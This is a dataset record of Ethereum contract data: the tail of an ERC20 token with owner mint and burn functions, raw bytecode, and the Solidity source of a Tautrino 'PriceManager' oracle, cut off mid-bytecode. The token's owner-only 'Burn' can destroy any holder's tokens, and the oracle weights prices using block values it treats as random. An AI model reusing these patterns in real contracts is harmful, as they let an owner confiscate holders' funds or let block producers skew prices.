Transfer(address(0),owner(),_totalSupply); } /** * @dev Returns the name of the token. * */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner{ _mint( account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function Burn(address account, uint256 amount) public onlyOwner { _burn( account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c8f565b60405180910390f35b610136610131366004610c66565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2b565b610323565b6040516012815260200161011a565b610136610188366004610c66565b6103d9565b6101a061019b366004610c66565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c66565b6104cb565b610136610217366004610c66565b610566565b6101a061022a366004610c66565b610573565b61014a61023d366004610bf9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d46565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d46565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d2f565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d17565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce2565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d46565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d2f565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce2565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce2565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d2f565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d17565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d17565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d17565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d2f565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d2f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610be9578081fd5b610bf282610bbc565b9392505050565b60008060408385031215610c0b578081fd5b610c1483610bbc565b9150610c2260208401610bbc565b90509250929050565b600080600060608486031215610c3f578081fd5b610c4884610bbc565b9250610c5660208501610bbc565b9150604084013590509250925092565b60008060408385031215610c78578182fd5b610c8183610bbc565b946020939093013593505050565b6000602080835283518082850152825b81811015610cbb57858101830151858201604001528201610c9f565b81811115610ccc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d2a57610d2a610d81565b500190565b600082821015610d4157610d41610d81565b500390565b600181811c90821680610d5a57607f821691505b60208210811415610d7b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212208d157dcf2e7ddc60086fd208b311076fdfaa9224c520406a9bee464aa3b9915664736f6c63430008040033
{"success": true, "error": null, "results": {}}
3,695
0x46C0C5CEDC0C000b1bcEb5E7143b449614b0A5ef
// SPDX-License-Identifier: MIT pragma solidity 0.6.6; // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IPriceProvider { function providerName() external view returns (string memory); function update() external; function lastPrice() external view returns (uint32); function updateRequred() external view returns (bool); } contract PriceManager is Ownable { using SafeMath for uint; struct Price { string provider; // ex. CoinGecko, CoinMarketCap, ... uint64 timestamp; uint32 price; uint32 x; } address public tautrino; IPriceProvider[] public providers; Price[] public lastPrices; uint32 public lastAvgPrice; uint32[] public primeNumbers = [23, 41, 59, 67, 73, 89, 97]; // prime numbers to get random number /** * @dev Throws if called by any account other than the governance. */ modifier onlyTautrino() { require(tautrino == msg.sender, "tautrino!"); _; } /** * @dev Constructor. * @param _tautrino Tautrino contract address. */ constructor(address _tautrino) public Ownable() { tautrino = _tautrino; } /** * @dev Update tautrino. * @param _tautrino The address of tautrino. */ function setTautrino(address _tautrino) external onlyTautrino { tautrino = _tautrino; } /** * @dev Add new price provider. * @param _provider The address of new provider. */ function addProvider(address _provider) external onlyOwner { IPriceProvider _newProvider = IPriceProvider(_provider); if (_newProvider.updateRequred()) { _newProvider.update(); } providers.push(_newProvider); } /** * @dev Remove existing price provider. * @param index Index of provider to remove. */ function removeProvider(uint index) external onlyOwner { require(index < providers.length, "index out of bounds"); if (index < providers.length - 1) { providers[index] = providers[providers.length - 1]; } providers.pop(); } /** * @dev Calculate average price by the following formular. * (price1 * x1 + price2 * x2 + price3 * x3 + ...) / (x1 + x2 + x3 + ...) * price1, price2, price3, ... will be fetched from price providers. * x1, x2, x3, ... will be generated by current timestamp and prime numbers. * * @return Calculated average price. */ function averagePrice() external onlyTautrino returns (uint32) { require(providers.length > 0, "No providers"); delete lastPrices; uint _priceSum = 0; uint _xSum = 0; for (uint i = 0; i < providers.length; i++) { if (providers[i].updateRequred()) { providers[i].update(); } uint32 _price = providers[i].lastPrice(); uint _x = uint(keccak256(abi.encodePacked(_price, block.coinbase, block.timestamp, block.difficulty, blockhash(block.number)))).mod(uint(primeNumbers[i])).add(1); lastPrices.push(Price({ provider: providers[i].providerName(), timestamp: uint64(block.timestamp), price: _price, x: uint32(_x) })); _priceSum = _priceSum.add(uint(_price).mul(_x)); _xSum = _xSum.add(_x); } require(_priceSum > 0, "Price is not updated yet"); lastAvgPrice = uint32(_priceSum.div(_xSum)); return lastAvgPrice; } /** * @dev Add new prime number. * @param _primeNumber New prime number to add. */ function addPrimeNumber(uint32 _primeNumber) external onlyOwner { primeNumbers.push(_primeNumber); } /** * @dev Remove existing prime number. * @param index Index to remove. */ function removePrimeNumber(uint index) external onlyOwner { require(index < primeNumbers.length, "index out of bounds"); if (index < primeNumbers.length - 1) { primeNumbers[index] = primeNumbers[primeNumbers.length - 1]; } primeNumbers.pop(); } /** * @return Number of providers in providers list. */ function providerSize() external view returns (uint) { return providers.length; } /** * @return Number of prices fetched. */ function lastPricesSize() external view returns (uint) { return lastPrices.length; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5c2f1f111610066578063c5c2f1f114610308578063e9633be51461033b578063f13037f51461035e578063f2fde38b1461036657610100565b80638da5cb5b146102be5780639d40c06c146102c6578063a0352ea3146102e3578063c116d30a146102eb57610100565b806346e2577a116100d357806346e2577a1461025c57806350f3fc8114610291578063715018a6146102ae5780638a285f47146102b657610100565b80631a0fe7cd146101055780632f60880d1461013b5780633245dea514610155578063331a94441461022b575b600080fd5b6101226004803603602081101561011b57600080fd5b5035610399565b6040805163ffffffff9092168252519081900360200190f35b6101436103d0565b60408051918252519081900360200190f35b6101726004803603602081101561016b57600080fd5b50356103d7565b60405180806020018567ffffffffffffffff1667ffffffffffffffff1681526020018463ffffffff1663ffffffff1681526020018363ffffffff1663ffffffff168152602001828103825286818151815260200191508051906020019080838360005b838110156101ed5781810151838201526020016101d5565b50505050905090810190601f16801561021a5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b6102336104d9565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61028f6004803603602081101561027257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166104f5565b005b610233600480360360208110156102a757600080fd5b50356106db565b61028f61070f565b61012261080f565b61023361081b565b61028f600480360360208110156102dc57600080fd5b5035610837565b610122610a55565b61028f6004803603602081101561030157600080fd5b50356111c1565b61028f6004803603602081101561031e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611400565b61028f6004803603602081101561035157600080fd5b503563ffffffff166114cd565b6101436115be565b61028f6004803603602081101561037c57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166115c4565b600581815481106103a657fe5b9060005260206000209060089182820401919006600402915054906101000a900463ffffffff1681565b6002545b90565b600381815481106103e457fe5b60009182526020918290206002918202018054604080516001831615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190921693909304601f8101859004850282018501909352828152909350918391908301828280156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b5050506001909301549192505067ffffffffffffffff81169063ffffffff6801000000000000000082048116916c0100000000000000000000000090041684565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6104fd61174e565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461058657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663d72d792c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d157600080fd5b505afa1580156105e5573d6000803e3d6000fd5b505050506040513d60208110156105fb57600080fd5b505115610663578073ffffffffffffffffffffffffffffffffffffffff1663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561064a57600080fd5b505af115801561065e573d6000803e3d6000fd5b505050505b600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691909117905550565b600281815481106106e857fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b61071761174e565b60005473ffffffffffffffffffffffffffffffffffffffff9081169116146107a057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60045463ffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b61083f61174e565b60005473ffffffffffffffffffffffffffffffffffffffff9081169116146108c857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600554811061093857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f696e646578206f7574206f6620626f756e647300000000000000000000000000604482015290519081900360640190fd5b6005547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018110156109fb57600580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff810190811061099457fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff16600582815481106109c757fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff1602179055505b6005805480610a0657fe5b60008281526020902060087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90920191820401805463ffffffff600460078516026101000a0219169055905550565b60015460009073ffffffffffffffffffffffffffffffffffffffff163314610ade57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f7461757472696e6f210000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600254610b4c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e6f2070726f7669646572730000000000000000000000000000000000000000604482015290519081900360640190fd5b610b58600360006119fe565b600080805b6002548110156111065760028181548110610b7457fe5b60009182526020918290200154604080517fd72d792c000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169263d72d792c92600480840193829003018186803b158015610be357600080fd5b505afa158015610bf7573d6000803e3d6000fd5b505050506040513d6020811015610c0d57600080fd5b505115610ca85760028181548110610c2157fe5b6000918252602082200154604080517fa2e62045000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169263a2e620459260048084019382900301818387803b158015610c8f57600080fd5b505af1158015610ca3573d6000803e3d6000fd5b505050505b600060028281548110610cb757fe5b60009182526020918290200154604080517f053f14da000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169263053f14da92600480840193829003018186803b158015610d2657600080fd5b505afa158015610d3a573d6000803e3d6000fd5b505050506040513d6020811015610d5057600080fd5b505160058054919250600091610e1691600191610e0a919087908110610d7257fe5b60009182526020918290206008820401546040805160e08a901b7fffffffff0000000000000000000000000000000000000000000000000000000016818601524160601b6024820152426038820152446058820152434060788083019190915282518083039091018152609890910190915280519301929092209160079091166004026101000a900463ffffffff9081169061175216565b9063ffffffff61179d16565b90506003604051806080016040528060028681548110610e3257fe5b6000918252602082200154604080517edad7d4000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169262dad7d492600480840193829003018186803b158015610e9d57600080fd5b505afa158015610eb1573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526020811015610ef857600080fd5b8101908080516040519392919084640100000000821115610f1857600080fd5b908301906020820185811115610f2d57600080fd5b8251640100000000811182820188101715610f4757600080fd5b82525081516020918201929091019080838360005b83811015610f74578181015183820152602001610f5c565b50505050905090810190601f168015610fa15780820380516001836020036101000a031916815260200191505b50604090815293855250505067ffffffffffffffff421660208084019190915263ffffffff808816928401929092529085166060909201919091528254600181018455600093845292819020825180519394600202909101926110079284920190611a22565b506020820151600191909101805460408401516060909401517fffffffffffffffffffffffffffffffffffffffffffffffff000000000000000090911667ffffffffffffffff909316929092177fffffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffff166801000000000000000063ffffffff94851602177fffffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffff166c01000000000000000000000000928416929092029190911790556110e8906110db9084811690849061181116565b869063ffffffff61179d16565b94506110fa848263ffffffff61179d16565b93505050600101610b5d565b506000821161117657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5072696365206973206e6f742075706461746564207965740000000000000000604482015290519081900360640190fd5b611186828263ffffffff61188416565b600480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff9283161790819055169392505050565b6111c961174e565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461125257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60025481106112c257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f696e646578206f7574206f6620626f756e647300000000000000000000000000604482015290519081900360640190fd5b6002547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0181101561139a57600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff810190811061131e57fe5b6000918252602090912001546002805473ffffffffffffffffffffffffffffffffffffffff909216918390811061135157fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60028054806113a557fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905550565b60015473ffffffffffffffffffffffffffffffffffffffff16331461148657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f7461757472696e6f210000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6114d561174e565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461155e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db06008820401805460079092166004026101000a63ffffffff818102199093169390921691909102919091179055565b60035490565b6115cc61174e565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161461165557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffff